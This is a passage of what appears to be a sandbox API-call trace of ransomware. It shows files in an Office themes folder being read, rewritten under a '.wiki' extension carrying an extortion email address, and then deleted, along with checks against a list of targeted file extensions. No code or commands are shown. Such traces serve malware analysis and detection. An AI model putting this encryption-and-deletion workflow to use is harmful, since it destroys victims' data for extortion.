lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x563, lpOverlapped=0x0) returned 1 [0053.473] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x570, lpOverlapped=0x0) returned 1 [0053.474] ReadFile (in: hFile=0x1e8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.474] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.475] SetEndOfFile (hFile=0x214) returned 1 [0053.475] CloseHandle (hObject=0x214) returned 1 [0053.475] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.475] SetEndOfFile (hFile=0x1e8) returned 1 [0053.476] CloseHandle (hObject=0x1e8) returned 1 [0053.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.476] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0053.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0053.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0053.476] lstrlenW (lpString=".doc") returned 4 [0053.476] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.476] lstrlenW (lpString=".docx") returned 5 [0053.476] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.476] lstrlenW (lpString=".pdf") returned 4 [0053.476] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.476] lstrlenW (lpString=".xls") returned 4 [0053.476] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.476] lstrlenW (lpString=".xlsx") returned 5 [0053.476] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.476] lstrlenW (lpString=".ppt") returned 4 [0053.476] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0053.476] lstrlenW (lpString=".zip") returned 4 [0053.476] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.476] lstrlenW (lpString=".rar") returned 4 [0053.477] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.477] lstrlenW (lpString=".bz2") returned 4 [0053.477] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.477] lstrlenW (lpString=".7z") returned 3 [0053.477] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0053.477] lstrlenW (lpString=".dbf") returned 4 [0053.477] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0053.477] lstrlenW (lpString=".1cd") returned 4 [0053.477] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0053.477] lstrlenW (lpString=".jpg") returned 4 [0053.477] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0053.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0053.477] lstrlenW (lpString=".doc") returned 4 [0053.477] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.477] lstrlenW (lpString=".docx") returned 5 [0053.477] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.477] lstrlenW (lpString=".pdf") returned 4 [0053.477] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.477] lstrlenW (lpString=".xls") returned 4 [0053.477] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.477] lstrlenW (lpString=".xlsx") returned 5 [0053.477] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.477] lstrlenW (lpString=".ppt") returned 4 [0053.477] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0053.477] lstrlenW (lpString=".zip") returned 4 [0053.477] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.477] lstrlenW (lpString=".rar") returned 4 [0053.477] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.477] lstrlenW (lpString=".bz2") returned 4 [0053.478] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.478] lstrlenW (lpString=".7z") returned 3 [0053.478] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0053.478] lstrlenW (lpString=".dbf") returned 4 [0053.478] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0053.478] lstrlenW (lpString=".1cd") returned 4 [0053.478] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0053.478] lstrlenW (lpString=".jpg") returned 4 [0053.478] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.478] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0053.478] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.478] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=48115) returned 1 [0053.478] CloseHandle (hObject=0x1e8) returned 1 [0053.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0053.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.479] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.479] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.479] GetLastError () returned 0x0 [0053.479] ReadFile (in: hFile=0x1e8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0053.482] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0053.486] ReadFile (in: hFile=0x1e8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.486] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.486] SetEndOfFile (hFile=0x214) returned 1 [0053.486] CloseHandle (hObject=0x214) returned 1 [0053.487] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.487] SetEndOfFile (hFile=0x1e8) returned 1 [0053.488] CloseHandle (hObject=0x1e8) returned 1 [0053.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.488] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0053.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0053.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0053.488] lstrlenW (lpString=".doc") returned 4 [0053.488] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.488] lstrlenW (lpString=".docx") returned 5 [0053.488] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.488] lstrlenW (lpString=".pdf") returned 4 [0053.488] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.488] lstrlenW (lpString=".xls") returned 4 [0053.488] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.488] lstrlenW (lpString=".xlsx") returned 5 [0053.488] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.488] lstrlenW (lpString=".ppt") returned 4 [0053.488] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0053.489] lstrlenW (lpString=".zip") returned 4 [0053.489] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.489] lstrlenW (lpString=".rar") returned 4 [0053.489] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.489] lstrlenW (lpString=".bz2") returned 4 [0053.489] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.489] lstrlenW (lpString=".7z") returned 3 [0053.489] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0053.489] lstrlenW (lpString=".dbf") returned 4 [0053.489] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0053.489] lstrlenW (lpString=".1cd") returned 4 [0053.489] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0053.489] lstrlenW (lpString=".jpg") returned 4 [0053.489] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0053.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0053.489] lstrlenW (lpString=".doc") returned 4 [0053.489] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.489] lstrlenW (lpString=".docx") returned 5 [0053.489] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.489] lstrlenW (lpString=".pdf") returned 4 [0053.489] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.489] lstrlenW (lpString=".xls") returned 4 [0053.489] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.489] lstrlenW (lpString=".xlsx") returned 5 [0053.489] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.489] lstrlenW (lpString=".ppt") returned 4 [0053.489] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0053.489] lstrlenW (lpString=".zip") returned 4 [0053.490] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.490] lstrlenW (lpString=".rar") returned 4 [0053.490] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.490] lstrlenW (lpString=".bz2") returned 4 [0053.490] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.490] lstrlenW (lpString=".7z") returned 3 [0053.490] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0053.490] lstrlenW (lpString=".dbf") returned 4 [0053.490] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0053.490] lstrlenW (lpString=".1cd") returned 4 [0053.490] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0053.490] lstrlenW (lpString=".jpg") returned 4 [0053.490] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.490] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0053.490] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.490] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1364) returned 1 [0053.491] CloseHandle (hObject=0x1e8) returned 1 [0053.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0053.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.491] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.491] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.494] GetLastError () returned 0x0 [0053.494] ReadFile (in: hFile=0x1e8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x554, lpOverlapped=0x0) returned 1 [0053.496] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x560, lpOverlapped=0x0) returned 1 [0053.497] ReadFile (in: hFile=0x1e8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.497] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.497] SetEndOfFile (hFile=0x214) returned 1 [0053.497] CloseHandle (hObject=0x214) returned 1 [0053.497] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.497] SetEndOfFile (hFile=0x1e8) returned 1 [0053.498] CloseHandle (hObject=0x1e8) returned 1 [0053.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.498] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0053.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0053.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0053.498] lstrlenW (lpString=".doc") returned 4 [0053.499] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.499] lstrlenW (lpString=".docx") returned 5 [0053.499] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.499] lstrlenW (lpString=".pdf") returned 4 [0053.499] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.499] lstrlenW (lpString=".xls") returned 4 [0053.499] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.499] lstrlenW (lpString=".xlsx") returned 5 [0053.499] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.499] lstrlenW (lpString=".ppt") returned 4 [0053.499] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0053.499] lstrlenW (lpString=".zip") returned 4 [0053.499] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.499] lstrlenW (lpString=".rar") returned 4 [0053.499] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.499] lstrlenW (lpString=".bz2") returned 4 [0053.499] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.499] lstrlenW (lpString=".7z") returned 3 [0053.499] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0053.499] lstrlenW (lpString=".dbf") returned 4 [0053.499] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0053.499] lstrlenW (lpString=".1cd") returned 4 [0053.499] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0053.499] lstrlenW (lpString=".jpg") returned 4 [0053.499] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0053.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0053.499] lstrlenW (lpString=".doc") returned 4 [0053.499] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.499] lstrlenW (lpString=".docx") returned 5 [0053.500] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.500] lstrlenW (lpString=".pdf") returned 4 [0053.500] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.500] lstrlenW (lpString=".xls") returned 4 [0053.500] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.500] lstrlenW (lpString=".xlsx") returned 5 [0053.500] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.500] lstrlenW (lpString=".ppt") returned 4 [0053.500] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0053.500] lstrlenW (lpString=".zip") returned 4 [0053.500] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.500] lstrlenW (lpString=".rar") returned 4 [0053.500] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.500] lstrlenW (lpString=".bz2") returned 4 [0053.500] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.500] lstrlenW (lpString=".7z") returned 3 [0053.500] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0053.500] lstrlenW (lpString=".dbf") returned 4 [0053.500] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0053.500] lstrlenW (lpString=".1cd") returned 4 [0053.500] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0053.500] lstrlenW (lpString=".jpg") returned 4 [0053.500] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.500] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0053.500] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.501] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=11573) returned 1 [0053.501] CloseHandle (hObject=0x1e8) returned 1 [0053.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0053.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.501] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.501] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.501] GetLastError () returned 0x0 [0053.501] ReadFile (in: hFile=0x1e8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: 